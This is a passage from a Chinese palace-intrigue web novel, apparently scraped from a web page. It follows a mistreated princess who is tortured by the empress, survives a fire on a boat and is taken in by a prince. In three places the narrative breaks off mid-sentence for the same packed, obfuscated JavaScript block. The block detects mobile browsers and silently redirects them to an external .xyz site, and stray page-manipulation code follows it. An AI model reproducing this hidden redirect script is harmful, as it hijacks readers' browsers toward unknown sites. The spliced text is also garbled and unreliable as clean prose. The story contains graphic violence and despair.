谢陵没再说话,算是默认了商晏的做法,但不知为何,心里总还是闷闷的,有点透不过气,脑海中不合时宜浮现一句话。 还请王爷莫要失约。 5. 第五章 一个月后。 王家后宅,几位年轻的族中小姐聚在园中品琴斗诗,欢声笑语不断,几个回合下来,不善诗书的王萝玉回回垫底,索性将笔一搁,耍赖着说不如比谁爬树快。 王二姑娘掩唇一笑,打趣道:“五妹妹明年便要及笄,怎还跟顽童一般爬树?倘若让未来的五妹夫知晓,只怕要笑妹妹是个皮猴儿!” 王萝玉满不在乎道:“那正好,让他早早认清娶了个皮猴儿,就不会逼着皮猴儿学规矩了。” 此言一出,几位姐妹笑得前仰后翻,王二姑娘笑过一阵后,有意无意将话头引到王若楚身上,半酸半感慨道:“还是三妹妹命好,过不了几日便要成为临王妃,又与临王殿下是自幼的情谊,想来成亲后必会爱护三妹妹。” 廊下盛开的绿萝藤下,正伏案作画的紫衣姑娘蓦地红了耳根,稍不注意,一滴墨晕在纸上,毁了这副即将完工的园景图。 王二姑娘笑着赔罪:“是我的不是,明知三妹妹脸皮薄,不该打趣妹妹,好好的画,就此毁了多可惜。” 顾不得羞恼,王若楚连忙搁下画笔,欲想法子弥补这点失误,几位堂姐妹也围过来,叽叽喳喳指手画脚,各自提出自己的办法。 当王若楚再次提笔,却迟迟没落定,不是因为修补难,而是她的心思早随着二姐姐那句“爱护”飞到九霄云外。 与谢家哥哥的亲事是昨日订下的,直到现在,王若楚还有种飘然虚妄的不真实感,简直就像一场梦,她思念了十年的谢家哥哥竟然回来娶她了。 原以为此生与谢家哥哥再难相见,从不敢想,有朝一日,她还能成为谢家哥哥的妻,万般心绪涌上心头,喜悦的同时,王若楚心中也带着点忐忑,因为从前那件事,谢家哥哥还会像小时候那般待她吗? “小姐,老爷唤您去一趟书房。” 王若楚的思绪被身边丫鬟打断,望着纸上已经干涸的墨迹,她摇摇头,说这画补不了,起身朝众姐妹们告辞,往前院走去。 待王若楚一走,其余人也都没了继续玩乐的心思,尤其是王二姑娘,自从得知临王想与王家结亲,便存了与王若楚争一争的念头,只可惜自己的父亲不是王家家主,这桩婚事落不到自己头上。 王二姑娘走来王萝玉身旁,装作若无其事提起:“五妹妹已经许久没出府玩耍了吧?” 王萝玉毫无城府回道:“是呀,快闷死我了,我爹不让我出去逛。” 王二姑娘指指王若楚走远的身影:“你跟着三妹妹,不就能出去了?听说那位临王殿下,经常邀三妹妹出府玩呢。” 王萝玉的眼睛在发光。 —— 昨夜,王谢两家联姻的消息传进宫中,意识到自己被摆了一道的沈皇后,在凤栖宫发了好一通脾气,命宫人即刻把闻梨带来。 这是闻梨第二次踏进沈皇后的起居殿,幽冷的夜风顺着长廊吹来,灯影摇晃,夜色蒙昧,让人几乎看不清脚下的路。 这里与她第一次来没什么区别,一样的假山流水,一样的摆设布局,唯一不同的,她再也不会天真地认为,只要自己乖乖听话,沈皇后就会心慈手软。 闻梨被宫人们带上来时,寝宫的地面一片狼藉,满是被砸碎的花瓶、瓷器,不等闻梨上前行礼,便被身后一太监踹跪在地。 碎瓷片扎进小腿,疼得闻梨跪不直身子。 沈皇后气得脸色铁青,怒骂道:“没用的东西,竟敢拿这什物来欺骗本宫。”说着,她用力地将玉佩砸闻梨脸上。 闻梨没有躲开,生生挨了一下,低头看,原来是她从谢陵身上偷来的那块玉。 沈皇后气得口不择言:“你与你娘那个贱人别无二致,知道你娘进宫前是什么人吗?青楼的风尘女子,你怎么没学到你娘半点勾引男人的本事?连个男人的心都笼络不住!” 听到这里,闻梨已然明白了沈皇后为何发怒,想必是谢陵没有遵守那日的约定,闻梨捡起玉佩,心中并不觉失望,从一开始她就没把全部希望寄予在谢陵身上,与被辜负比起来,她更乐意瞧见沈皇后发疯的样子,她抬起头,平静地与沈皇后对视。 沈皇后的愤怒与恨意,就像往潭水里扔了颗石子,没有任何回应,这种被漠视的感觉与皇帝看自己的眼神如出一辙,很容易挑动起沈皇后那根脆弱的心弦,一时忘掉作为皇后的端庄与素养。 沈皇后走下台阶,手里还握着根金簪,闻梨一眼认出,那金簪是亡母的遗物,她那原本平静似一滩死水的眼眸忽而泛起涟漪。 “别以为本宫不知道,你一直藏着那贱人的遗物,你很想念她对吧?”沈皇后用力将金簪扎进闻梨指缝间,声音扭曲可怖:“你母亲的簪子扎你疼吗?真是可笑,你不过是个被她遗弃的棋子,念着她做什么?” 闻梨忍着痛,绝不让自己掉一滴眼泪,忍了十年之久,最终还是落得一个死,横竖是死,不妨在死前让自己痛快一下。 闻梨张嘴,朝着沈皇后的手腕用力咬下去,夺回亡母的金簪,随着一声剧烈的惨痛声,寝殿顿时乱成一锅粥。 闻梨想起了幼时养过的一只乌龟,外表看着慢吞吞,可一旦有天敌来犯,便咬死不松口。 有人用板凳砸她的背,想逼着她松口,她咬得更狠了,又有人拿烛滴烫她的脸,口中涌出一股血腥味,哪怕被打得头晕眼花,也还是不松口。 直至被一盆花砸晕了脑袋,闻梨才彻底失去了意识。 不知过了多久,当闻梨再次醒来,四周黑漆漆的,唯有身上各处的疼痛感提醒她,自己还活着,没有一口气死掉,她还真有些失望。 腹中饥饿难忍,黑暗中,闻梨听见老鼠在吱吱叫,她想挪动下身子,以免老鼠误会她死了,跑来啃食她的脚趾。 费了半天劲儿,闻梨才找回身子的知觉,蜷缩在角落。 没多久门开了,晃眼的日光照进来的一刹那,她几乎双目失明,适应了好一会儿,终于看清了来人,是凤栖宫的宫女。 小宫女手中提着药盒,一声不吭过来给闻梨涂药。 闻梨顺从接受,已全然不在乎药里是否有毒,只是愣愣地望着门外的日光,也许往后再也瞧不见了。 很快,小宫女替闻梨上好了伤药,离开前,几乎是有些于心不忍,回头好意提醒道:“娘娘说,今日便要把公主送到邑王府上。” 世人皆知邑王沉湎酒色,是个暴虐的好色之徒,从邑王府抬出来的尸首少说也有数百具,但因其手握兵权,连皇帝都无可奈何,只下令不许邑王祸害良家女,至于那些无名无份的可怜贱籍女子,只能白白枉死。 此外,邑王还是闻梨的亲叔父。 说完,小宫女把门给锁上了。 闻梨眼前再次陷入黑暗。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193739|181148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 与此同时,云湖河畔却又是另一番天地,日头西照,杨柳岸堤上,行人络绎不绝,各类小摊贩摆了一溜,叫卖声此起彼伏,与车马声汇成一片。 临王府的马车在热闹的街市中徐徐穿行,最终在一处码头边停靠,王若楚与王萝玉刚下马车,便瞧见浮在河岸边的华丽画舫,舫檐的灯笼上皆贴了“临”字。 很快便有临王府的奴仆迎王若楚上船。 进门前,王萝玉很识趣地松开堂姐的手,悄声道:“我就不进去打扰二位了,还请堂姐替我向未来的堂姐夫问声好!” 王若楚尚未来得及阻拦,堂妹已经朝甲板上跑没影了,她便只好自己登上了二楼,心跳得越来越快,视野慢慢抬高,在瞧见那抹高挑欣长的背影时,心口不自觉颤了一下。 “王爷。”她朝他欠身行礼。 谢陵回过头,狭长的眼眸被那道斜晖映染得绯红,给本就俊逸的脸添了几分肃杀之气,再加上他那副与生俱来的淡漠神情,令人不寒而栗,换了寻常女子,定然不敢轻易接近他。 “来了。”他的语气平淡而疏离。 王若楚的心口没由来地酸涩了一下,明知感情是急不来的,但还是会忍不住失望,她鼓起勇气走到谢陵身边,与他并肩看湖面尽头的群山。 “谢家哥哥可还记得小时候,我们两家人时常一起游湖,那时候船小,你紧紧拉着我的手,生怕我掉进水里。” 谢陵默然不语。 望着波澜起伏的湖面,王若楚的心也好似被风吹乱,酝酿许久,她不安地开了口,想要寻求一个确切的回答。 “谢家哥哥是否还在介怀我父亲当年对谢家见死不救?其实父亲这些年一直在后悔……” 谢陵冷冷打断道:“往事不必再提,我既已决定娶你,便不会计较从前之事。” 王若楚抿紧唇,目光投向远处,没再说话。 甲板上,王萝玉远远瞧着二楼长廊上那对天造地设的身影,露出了心满意足的笑容,一时没留神撞到一个人。 “抱歉,冒犯姑娘了。” 身后传来一道清朗如玉的嗓音,王萝玉错愕回头,映入眼帘的是男子清俊温暖的笑容,白衣胜雪,清瘦如竹,连江上吹来的风也跟着沁人心扉。 王萝玉愣在原地,迟迟没挪开视线。 “姑娘没事吧?”男子又问。 王萝玉连连晃着脑袋:“我、我没事。” “那就好,今夜风大,船行时不太稳,姑娘当心。”商晏说罢,便仓促离去,径直上了二楼。 “殿下可否借一步说话?”商晏朝谢陵问道。 谢陵点头,跟着商晏来到内间。 “据探子来报,傍晚时分,从宫里驶出来一辆可疑的马车,我们的人找机会偷看了一眼,车内坐着的人是闻梨公主,还被绑了起来。” 谢陵骤然变了脸色,声音隐约有几分怒气:“公主现在人在何处?为何不一早来报?” 商晏解释道:“我们的人怕跟丢,一时腾不出手,说来也巧,那马车来的方向刚好是云湖,闻梨公主此刻,应该已经被送上的那艘船。” 谢陵顺着商晏手指的方向望去,另一艘精美的楼船正缓缓驶离对岸,那楼船的幡帜上赫然写着‘邑’字。 谢陵毫不迟疑拎起长剑,纵身一跃跳进水里,朝邑王的船游去。 6. 第六章 “什么人?胆敢擅闯邑王的地盘?”船上巡守的侍卫看到有人从水里上船,举起刀冲过去。 走前面的侍卫瞬间被谢陵抹断脖子,另一个见势不妙,扔刀想逃,却被谢陵抓住了后衣领,一脚踹跪在地上。 “邑王在哪?带我去见他。” 寒森森的声音从背后传来,侍卫不敢回头看那位凶神恶煞的“活阎王”,求饶道:“别别、别杀我,这就带您去。” 正当此时,船楼上爆发一阵不小的动静,不少人衣不蔽体从船屋里跑出来,神情惊恐万状,边跑边喊失火了,一时间,救火的与逃命的撞了个满怀,拉扯不开,场面极度混乱。 谢陵一剑将跪着的侍卫也杀了,一跃而起,避开拥挤的人堆,径直跳到了楼上,四处寻找闻梨的身影。 天色已经全黑,湖面刮来的风势头极盛,整艘船都陷进火海中,外头寻不见闻梨,谢陵便捂住口鼻,往火势更凶猛的船屋走去。 屋中浓烟翻滚,火苗窜得极快,桌椅木架东倒西歪,碗碟茶盏散落一地,梁柱随时有倒塌的可能。 再往里走,谢陵先瞧见了地上横躺着的男尸,面部被某种锐利的兵器划得不堪入目,胸口及下身更是血肉模糊,鲜血淋漓。 血迹蔓延至里间的窗边,少女抱膝坐在破碎的窗前,脸上有淤青,眼圈通红,眼泪似断线的珠子,一颗一颗从脸颊滚落。 少女手中攥着根带血的金簪,身上的衣服被血水浸透,两只脚踝皆戴了铜锁,伤口触目惊心,不知她费了多大力气,才将那锁链弄断。 脚下是一盏被踢翻的烛台,火便是从那里烧起的,还好她坐在风口,火势向后延申,暂时没有烧到她身上。 不知怎的,谢陵忽然想起幼时随父亲去宫中赴宴,曾跪在人群中遥遥见过闻梨一次,那时候的她,尚有双亲陪伴在侧,穿着身鹅黄色蝴蝶裙,青涩稚嫩的小肉脸上扑闪着一双清灵动人的眼眸,正好奇地打量着阶下的臣子们。 也许一直被封在过往中的人,不止他一个。 “公主?”谢陵试着唤了闻梨一声。 闻梨没回应,对谢陵的到来置若罔闻,夜风吹落她脸上的泪珠,她痴痴望着远处的群山,想象着有辆马车带着她离开玉京,去往更远的地方。 “对不起,我来晚了,跟我走吧。”谢陵朝她伸手。 闻梨终于望向谢陵,眼中满是悲凄和绝望:“我母妃逃出宫的时候,带了金银首饰,带了虎符,带了皇兄,唯独把我扔下了,她明明回头看我了,为什么还要把我扔在皇宫,任由我自生自灭?” 砰的一声响,旁边木柱被燃炸了,骤然倒下,横挡在二人中间,窜出一道高高的火墙,没等谢陵搬开木柱,窗边的身影一跃而下,坠进深不见底湖中。 临死前,没什么值得珍惜的记忆浮在闻梨眼前,湖水淹没她的口鼻,最后是双眼,她瞧见夜空依旧平静,星辰交替闪烁,明月光亮如初,今夜过后,一切照旧,不会有人在意她的离开,也不会有人替她感到难过。 江水猛地灌进五脏六腑,疼痛难忍,闻梨连挣扎的欲望都没有,有鱼从她手掌心游过,想捏一下鱼尾巴,却扑了个空,好可惜,连最后一点乐趣也没有了。 吐尽最后一点气,闻梨闭上眼,等待死亡的来临。 下一瞬,方才扑空的手忽而被人稳稳牵住,闻梨茫然睁眼,在水面之下,又对上那双冷厉的眼眸,紧接着,腰间一紧,男子冷冷的唇贴了上来,渡了不少气给她。 闻梨推不动眼前人,精疲力竭的她累得昏睡过去。 谢陵将闻梨抱上岸,探了探怀中人鼻息,见人还活着,终于松了一口气。 商晏、陆回以及长随风浅等人,早已在岸边等候多时,四下围观的人群也已被遣散。 谢陵接过风浅递来的披风,先披在了闻梨身上,随后将她抱上马车,隔着车帘,他朝马车外的陆回吩咐道:“邑王船上的人,不要放过一个活口。” 陆回领命去办。 商晏上前追问道:“殿下有没有对邑王动手?邑王死了吗?” 谢陵沉默片刻,道:“邑王已经被我杀了,劳烦军师帮我善后,我先带公主回王府疗伤。” 商晏也愣了一瞬,道:“殿下何必客气,本就是我应该做的。” 马车渐渐驶离码头。 码头的另一侧,王若楚仍在风里站着,方才在船上,见谢家哥哥脸色阴沉,拎着剑头也不回地走了,她的心中甚是担心,再然后又瞧见有楼船失火,愈发挂念谢家哥哥的安危。 旁边的王萝玉安慰道:“堂姐放心,堂姐夫武艺超群,定然不会有事的。” 商晏注意到她二人,走过来道:“二位姑娘请先回府,殿下去救火了,一时半会儿回不来。” 王若楚不甚放心:“可否让我在这里等王爷?我不会给你们添乱的。” 王萝玉趁此机会,又偷偷打量了商晏好几眼。 商晏刚想再劝,京兆府赶来救火的衙役们,抬着一具具烧得焦黑的尸首出来,王若楚吓得花容失色,直躲在堂妹身后。 商晏转身叫来临王府的奴仆,吩咐道:“务必将两位小姐安全送到王宅。”说罢,朝王若楚二人告辞便走了。 王萝玉也劝道:“堂姐还是听那位公子的话吧。” 王若楚见状,便只好跟着奴仆们离开此地。 * 两日后,邑王身死的消息传遍朝野,民间百姓对邑王的死拍手称快,扬言作恶多端自有老天收,朝中则呈截然相反的态度,不少官员私下跟邑王有人情来往,邑王自己也有一部分拥护者,在这些人的推波助澜下,皇帝不得不派人严查此案。 谢陵这几日称病未出,对朝局的掌握皆在来自商晏的分析,“军师以为,皇帝会派谁审理此案?” 商晏思忖道:“皇帝不喜邑王拥兵自大,早有将其除掉的心思,但朝堂上无皇帝可信之人,眼下邑王已死,倘若必须选一位,要么是殿下,要么是刑部尚书张文。鉴于殿下对京中事务暂不熟悉,想来皇帝会命殿下为主审,刑部尚书从旁协助。” 未及片刻,任命谢陵为邑王案主审的圣旨果真到了,与宣旨太监一同前来的,还有一位二十出头的年轻官员。 待太监宣读完圣旨,年轻官员上前自报家门,“下官刑部侍郎沈迟见过王爷。” 商晏低声在屏风后提醒:“殿下,此人是沈国公之子,也是沈皇后的侄子,需谨慎应对。” 谢陵了然于心,望着台阶下的沈迟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193740|181148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,道:“不知沈侍郎找本王有何要事?” 沈迟侧身,给谢陵引荐了一个人,“下官听闻王爷身子不适,特请来太医院院首为王爷诊治。” 谢陵回绝道:“不必了,本王府上有随行的军医,不劳沈侍郎挂心。” 沈迟闻言,让太医退下了,又道:“下官另有一件事按例要询问王爷,邑王死的那晚,王爷也在云湖游船,可曾注意到有什么异常?亦或者瞧见什么人逃跑?” “本王当时与未婚妻在一起,并未瞧见什么异常。”谢陵说罢,又道:“沈侍郎此话何意?有什么人从船上逃走吗?” 沈迟不紧不慢答道:“下官从皇后娘娘那里得知,邑王死亡当晚,闻梨公主曾受邀去游船赴宴,但船上和湖里皆未找到公主,下官怀疑公主还活着,可能是整艘船上唯一的活口,若想查清此案,须得先找到闻梨公主的下落。” 谢陵沉默不语。 沈迟离开后,商晏从屏风后走出来,道:“此人不简单,年纪轻轻便坐上刑部侍郎的位置,京城十大悬案被他破了八桩,若真要与我们为敌,只怕于殿下不利。闻梨公主的事,殿下作何打算?那晚真的是殿下杀了邑王吗?” 商晏定定望向谢陵,相处那么多年,商晏太过了解谢陵的性子,倘若人真是他杀的,方才被沈迟盘问时,便不会露出那副担忧的神情。 谢陵眉间有些烦躁之意,“我去瞧瞧人醒了没。” 闻梨昏睡的这几日一直住在谢陵的寝房,因为没有侍女,便由谢陵照顾着,房中弥漫着淡淡的药香,谢陵打湿巾帕,替闻梨擦了擦手心的汗。 闻梨不知何时醒来,幽幽盯着床边的人,虚弱问道:“王爷为何要救我?” 谢陵握住她冰凉细腻的手,心中如释重负,面上情绪却不显露,“公主还真是贵人多忘事,不是说过要一生一世侍奉本王吗?” 闻梨嗯了一声,“我没忘记,要给王爷当狗。” 谢陵:“……” 隔了好一会儿,他又听到闻梨闷闷道:“我闯了大祸,把邑王杀了,本来是想同归于尽的,但现在我不想死了。” 闻梨边说着,边挪过来,脸贴着谢陵的手背,她的眼睛泪汪汪的,鼻尖也红红的,唇色黯淡,声音有气无力,却还强撑着精神,亲昵地去蹭他的手,“我已经是王爷的人了,王爷帮帮我,处理掉那个大麻烦。” 谢陵用指腹轻轻摩挲着闻梨的脸,本就消瘦的脸,经过一场大病后,更没剩下几两肉,视线往下挪,寝衣大了整整一圈,露出半截削瘦的肩骨。 她实在太瘦了,谢陵在心底盘算着该怎么把她养起来,这般柔软的人儿,要圆润润的才好摸。 谢陵将视线落回她的脸上,“公主在此安心养身子,外边的事情交给我来做。” 谢陵前脚刚走,闻梨便如同换了个人,收起那副讨好人的姿态,冷静思考该如何从这里逃出去。 既然上天赐她再活一次的机会,她不想做笼中的金丝雀,变成别人召之即来挥之即去的玩物。 谢陵出门后,朝风浅吩咐道:“倘若她要什么,吃什么,一应要求都尽量满足她,她想做什么便让她做,唯有一点,看紧她,不许她逃出王府。” 风浅低声应是。 7. 第七章 在王府将养了十来日,闻梨身上的伤好得差不多了。头几天里,谢陵每日过来送祛疤膏,身边没有侍女,闻梨便只能红着脸脱掉衣裳,趴在榻上,任他替自己涂抹着伤药。 他的手每次触摸到她的肌肤,掌心烫得厉害,闻梨的耳根也随之发烫,好在他尚有几分良心,没有趁她病弱之时索取,要不然她真怀疑自己会累死在床边。 经过几日的相处,闻梨看出来了,谢陵在某方面还算克制守礼,只要自己不主动亲近他,他便一副正人君子的姿态,神情冷似冰霜,仿佛拒人千里之外。 倘若不是那日中药的缘故,他很难会失控到那种程度吧? 谢陵收起药膏,用湿帕子擦了擦手,“明天我要出门,膳房的殷三娘会来替你涂药,除了后背,其余地方你自己能涂吧?” 闻梨忙穿好衣裳,试探问:“王爷明天一整日都不在府中?” 谢陵转过脸来,狭眸轻眯,将她望住,“有一些麻烦事要处理,公主有什么事吗?” ‘麻烦’二字被他咬得极重。 闻梨自知理亏,心虚移开视线,转念又想了想,临王毕竟在替她解决麻烦,还给的甜头不能少。 于是她光着脚下榻,来到谢陵跟前,才发现他的身量颇高,而且身姿还端得很正,若非他主动低头,自己还真难亲到他。 闻梨踮起脚,双手扶在谢陵胳膊上借力,才勉强亲到他的唇角,给完甜头,她松手欲退,却不料腰间覆来一股力,她被他抱在怀里,被迫抬起头与他对视。 谢陵薄唇轻勾:“就这么点报答?可能不太够。” 他的目光逐渐下挪,落在她的唇上,彼此呼吸近在咫尺。 闻梨伸手挡住他的唇,别过脸去,羞恼道:“等王爷回来再报答也不迟。” 谢陵不语,将闻梨拦腰抱起,径直往床边走去。 “王爷!青天白日的,别这样,要不先洗个澡?”闻梨慌了,用力挣扎,但奈何他力气实在大,挣脱不开。 谢陵却将闻梨一放,眼中带着点戏虐的笑:“公主脑子里在想什么?青天白日洗澡做什么?地上凉,我担心公主受凉而已。” 闻梨彻底被他惹恼了,一股脑钻进被窝,用枕头捂着脸,不想再搭理谢陵一个字。 隔天,谢陵果然没来替她上药,来人是个四十来岁的女子,皮肤晒得有些,身形倒很结实,性子豪爽,却粗中有细,替闻梨上药时动作甚是仔细耐心。 “姑娘唤我三娘便可。”殷三娘笑道。 显然,谢陵并未告诉殷三娘闻梨的真实身份。 殷三娘整日在膳房干活,身边尽是些粗手笨脚的臭男人,好不容易遇到个能聊点家常里短的小姑娘,便如话匣子说了半天。 大部分是在北漠打仗时趣事。 “那年谢小将军才十六,一个人带着五百骑兵摸到北齐驻扎在亡虎山的大营,捣毁齐军的火药武器,还烧了他们的粮食,一战成名啊!” “还有谢小将军十八那年的冬天,带人在龙脊山巡山时,意外遇上北齐援军,又是以少敌多,断了齐军的粮食供给。” “哎,本该早点升迁的,不知道为什么,每次的立功册上都没有谢小将军的名字,这次总算是熬出来了,还封了异姓王,响当当的名头啊!” 闻梨好奇道:“是因为那件事吗?听说他屠了北齐两座城池?城里的人都死了吗?” 殷三娘神色一紧,又蹙紧了眉头,“具体怎么回事,我也不知道,说旁人屠城我信,但我家将军绝不可能做出那种事,姑娘与我家将军相处便知,他是个极好的人,就是不善言辞。” 闻梨没觉得谢陵不善言辞,相反还挺能讥讽人,他老是说话呛她来着。 殷三娘的话题又扯回王府的里里外外,“咱们王府冷清得很,就东边住着个陆参将,北面住着商军师,南面是军医的药堂。” 闻梨又问:“你们王府其他地方也没有丫鬟吗?” 殷三娘笑道:“将军用不惯外头的人,全都是从北漠带来的汉子,等王家姑娘嫁过来,我们王府里就热闹了!” 闻梨一愣:“王家姑娘?” 殷三娘一时嘴快,意识到自己说错了话,毕竟将军没说过眼前这位姑娘是何身份,但从将军的态度来看,似乎还挺看重她。 别是将军骗了人家姑娘? 殷三娘瞧闻梨的眼神顿时变得心疼,架不住心里的折磨,还是选择告诉闻梨。 “我家将军再过一个半月便要娶王家姑娘过门,姑娘你不知道这件事?” 闻梨恍惚了一阵,心道原来谢陵是有婚约之人,而自己却为了一己私欲,与谢陵不清不楚,心底顿觉惭愧。 难怪沈皇后那天如此动怒,想来是知道谢陵不可能娶她,才急着将她送到邑王那里。 眼见闻梨的情绪变得失落,殷三娘心道,果然是自家将军欺负小姑娘,无可奈何叹了声气:“姑娘别灰心,将军的心里是有姑娘的,要不要在王府园子里散散心?” 有机会出去?闻梨眼前一亮,“那便劳烦三娘陪我认认路。” * 皇宫正德殿内,日光透过窗柩照在深色地砖上,反射而来的光,在空旷而富丽的大殿内呈现某种绚烂的光晕,晋祐帝端坐在金銮御座之上,目光如炬,审视着台阶下站着的几位臣子。 晋祐帝的声音沉而缓,透着不容置疑的威严之势:“如此说来,邑王的死只是意外?” 刑部尚书张文答道:“回陛下,邑王的尸首被烧焦了,仵作查验过,身上没有别的伤口,故而应是死于大火,另外事发当天,风大火势猛烈,整艘船上的人没一个活口也不奇怪。再有就是……先前称瞧见闻梨公主上船的人,前夜里自尽而亡。城中湖里都找遍了,皆无闻梨公主的身影,微臣怀疑,公主当天并未在船上。” 晋祐帝道:“众卿家闹得满城皆知,命案水落石出,现下可满意了?” 晋祐帝问的是曾经以邑王为首的几个老臣。 老臣们心中惶恐,纷纷跪地,不敢多言。 沈迟此刻却站出来:“陛下,臣有事启奏。” 晋祐帝眉宇间隐有不耐烦之色:“准奏。” 沈迟:“臣认为邑王案不能如此草率结案,尸首焦黑如炭,连邑王妃都无法辨认,不能确定该尸首就是邑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193741|181148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王,此外闻梨公主下落不明,是否上了船无人可知,此案疑点重重,还望陛下三思。” 谢陵站出来道:“陛下,臣有一言要问问沈侍郎。” 晋祐帝允诺了。 谢陵看向沈迟:“敢问沈侍郎,是如何得知闻梨公主当夜在邑王船上的消息?” 沈迟一怔,当着皇帝的面,他不好替姑母隐瞒,坦诚道:“是皇后娘娘告诉下官的,皇后娘娘说闻梨公主顽劣,私逃出宫,去了邑王那里。” 谢陵又问:“那么,自称见到闻梨公主上船的人是宫里人还是宫外人?见到的时辰是哪一刻?” 沈迟:“是个宫外人,大概在酉时。” 谢陵道:“沈侍郎不觉得奇怪吗?从未出过宫的公主,不带侍卫与侍女,自己偷跑去找叔父,她是如何认得路的?怎么恰好就找到了正在船上寻欢作乐的邑王?还恰好被人看见,酉时天色将黑,那人如何确定自己没认错人?” 沈迟说不出话来,这些事情他也曾想过,心里有种直觉告诉他,此事跟姑母有关,倘若不查清楚,他寝食难安。 晋祐帝出言道:“够了,邑王案到此为止,无事都退下吧。” 谢陵没走,待殿中人离去,他跪下道:“微臣向陛下请罪。” 晋祐帝:“卿何罪之有?” 谢陵:“回陛下,闻梨公主此刻在臣的府上。” 晋祐帝深沉的眼中闪过一道晦暗的光,淡漠的表情终于有所松动,冷声问:“究竟是怎么一回事?她当真跟邑王有牵连?” 与此同时,闻梨跟着殷三娘在临王府转了转,果然如殷三娘所言,王府很大,却没住多少人,东面和北面的陆参将与军师没见着。 南面的军医倒是见到了,年龄约莫在四十岁左右,但脾气古怪,不喜与人打交道,蹲在药田不知在忙活什么,闻梨匆匆看了一眼,便随着殷三娘离开南院。 二人又绕回了主院。 闻梨朝殷三娘道谢:“多谢三娘陪我逛园子,三娘还有别的事做,我就不打扰了。” 殷三娘乐呵呵道:“姑娘想开了就好,晚膳想吃什么?三娘给你做。” 待殷三娘回去后,闻梨快步朝着南院走去,方才她注意到药堂侧面有道门,有两个杂役打扮的青年架着一辆板车从门里进来,板车上似乎装了不少药材。 临王府的人,不论是奴仆还是护卫,皆是从过军的人,闻梨一眼瞧出那两个杂役并非王府的人,想必卸货后还会回去。 等闻梨来到药堂,果然见板车还停在墙边,墙的另一侧,两个杂役正等着总管拿银子,趁此机会,闻梨爬到板车上,用草席将自己遮住。 她的心砰砰跳个不停,扭头一瞧,却与药田里的那个人对上了视线,糟糕,被发现了! 但出乎意料的是,那人居然只是看了一眼,没说什么,又低头研究药田,彷佛没瞧见闻梨的举动。 还真是个怪人! 没过多久,杂役领了银子,回来推起板车,欢欢喜喜往门外去了,丝毫没察觉草席下藏了个人。 闻梨一动不动躺着,觉得很不可思议,自己竟然就这么逃出来了? 8. 第八章 望着愤怒至极的晋祐帝,谢陵斟酌道:“臣不知皇后娘娘与邑王是否有牵连,但皇后娘娘利用公主拉拢朝臣已然不是第一次,半月前的春日宴上,闻梨公主便被皇后娘娘送到臣的房间,臣罪该万死,喝醉了酒,没认出是闻梨公主。” 晋祐帝面含怒气,闭着眼不知在想些什么。 谢陵继续道:“就在臣给叔父写信,表达臣想娶闻梨公主的意愿之际,皇后娘娘见拉拢臣无望,便又把公主送到邑王身边,若非那日臣凑巧在附近,救下落水的公主,公主此刻恐怕已经沉进了云湖深底,为皇家名声考虑,臣才擅自做主将闻梨公主带回府中,一切待陛下决断。” 晋祐帝的神情依旧阴郁,“你说想娶闻梨,你不是刚与王家订亲?” 谢陵道:“陛下有所不知,臣与王家的婚事,早在臣父亲在世时便定下了,虽略有波折,但臣想尽孝道,完成父亲的遗愿。” 晋祐帝沉吟不语,想让谢陵知难而退,过了好一会儿才道:“让朕瞧瞧你想娶公主的决心,你若扛得住五十鞭,朕再考虑是否将公主赐予你。” “臣遵旨。”谢陵起身去领罚。 晋祐帝气得拂袖将案几上的物件全摔了,怒骂道:“她果然当朕是死人!春日宴前给朕下药,害得朕病了两日,现在不顾廉耻,将朕的女儿送去他人床榻,临王也就算了,邑王是朕的亲兄弟,她怎么做得出来?” 晋祐帝越说越气,猛地吐了口血,瘫坐在龙椅上,胸口剧烈起伏。 永忠公公急忙过来给晋祐帝拍胸捶背:“哎呦,陛下莫要再动怒,气坏了身子可不好。” 晋祐帝喘着气,手气得发抖,“朕绝不让她得逞,朕要废她后位……咳咳咳。” 永忠公公的手没停过,“陛下息怒啊,如今东宫太子把持着大半江山,朝中可用之人甚少,废后怕是行不通啊。” 晋祐帝拍开永忠公公的手,“那你说,朕该怎么办?让那个疯女人继续给朕下毒?” 永忠公公跪地:“奴才哪敢妄议朝政,再说奴才也不懂这些。” 晋祐帝气得一脚踹开永忠公公,永忠公公自个又爬起来跪好,正当此时,有小太监进来递折子,是户部来的文书,说查出国库被邑王挪了大半去建庄园,库中所剩银两刨去正常开支,已经匀不出钱财来修建陵墓,下个月便要停工了。 前些年因为国家征战无数,国库一直很紧张,晋祐帝为自己修陵墓之事一拖再拖,这几年,他的身子愈发不好,应对朝堂之事力不从心,大权逐渐旁落东宫。 